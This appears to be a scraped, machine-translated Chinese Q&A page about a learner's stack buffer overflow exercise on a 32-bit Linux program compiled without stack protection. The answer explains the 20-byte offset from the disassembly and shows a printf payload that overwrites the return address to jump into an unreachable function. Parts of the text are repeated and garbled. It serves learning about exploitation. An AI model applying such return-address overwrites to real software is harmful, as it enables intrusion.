C 缓冲区溢出在预期之前出现

C 缓冲区溢出在预期之前出现,c,assembly,gdb,reverse-engineering,C,Assembly,Gdb,Reverse Engineering,我试图控制堆栈溢出。首先,这里是我在x32 VM Linux上编译的一个C代码示例(gcc-fno-stack protector-ggdb-o First.C) 然后调试器(英特尔风格):转储函数的汇编程序代码GetInput: 0x08048455 <+0>: push ebp 0x08048456 <+1>: mov ebp,esp 0x08048458 <+3>: sub esp,0x28 0x0804845b <

我试图控制堆栈溢出。首先,这里是我在x32 VM Linux上编译的一个C代码示例(
gcc-fno-stack protector-ggdb-o First.C

然后调试器(英特尔风格):转储函数的汇编程序代码
GetInput

0x08048455 <+0>:    push   ebp
0x08048456 <+1>:    mov    ebp,esp
0x08048458 <+3>:    sub    esp,0x28
0x0804845b <+6>:    lea    eax,[ebp-0x10]

为什么它只需要20字节而不是48字节?我的错误在哪里?

首先,您的程序集是32位的。保存的EBP和返回地址各为4个字节


其次,
buffer
变量不从堆栈顶部(ESP)开始-它从ebp-0x10开始。距离返回地址20个字节。0x10是16个字节,然后保存的EBP又多了4个字节。

如果您使用更大的部分,您将看到:

08048445 <GetInput>:
8048445:    55                      push   %ebp
8048446:    89 e5                   mov    %esp,%ebp
8048448:    83 ec 28                sub    $0x28,%esp
804844b:    8d 45 f0                lea    -0x10(%ebp),%eax
804844e:    89 04 24                mov    %eax,(%esp)
8048451:    e8 9a fe ff ff          call   80482f0 <gets@plt>
8048456:    8d 45 f0                lea    -0x10(%ebp),%eax
8048459:    89 04 24                mov    %eax,(%esp)
804845c:    e8 9f fe ff ff          call   8048300 <puts@plt>
8048461:    c9                      leave  
8048462:    c3                      ret   
因此,您只需要20个字节就可以使缓冲区溢出(对于32位系统上存储的基指针,保留16个字节+4个字节)

~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
08048445 <GetInput>:
8048445:    55                      push   %ebp
8048446:    89 e5                   mov    %esp,%ebp
8048448:    83 ec 28                sub    $0x28,%esp
804844b:    8d 45 f0                lea    -0x10(%ebp),%eax
804844e:    89 04 24                mov    %eax,(%esp)
8048451:    e8 9a fe ff ff          call   80482f0 <gets@plt>
8048456:    8d 45 f0                lea    -0x10(%ebp),%eax
8048459:    89 04 24                mov    %eax,(%esp)
804845c:    e8 9f fe ff ff          call   8048300 <puts@plt>
8048461:    c9                      leave  
8048462:    c3                      ret   
lea    -0x10(%ebp),%eax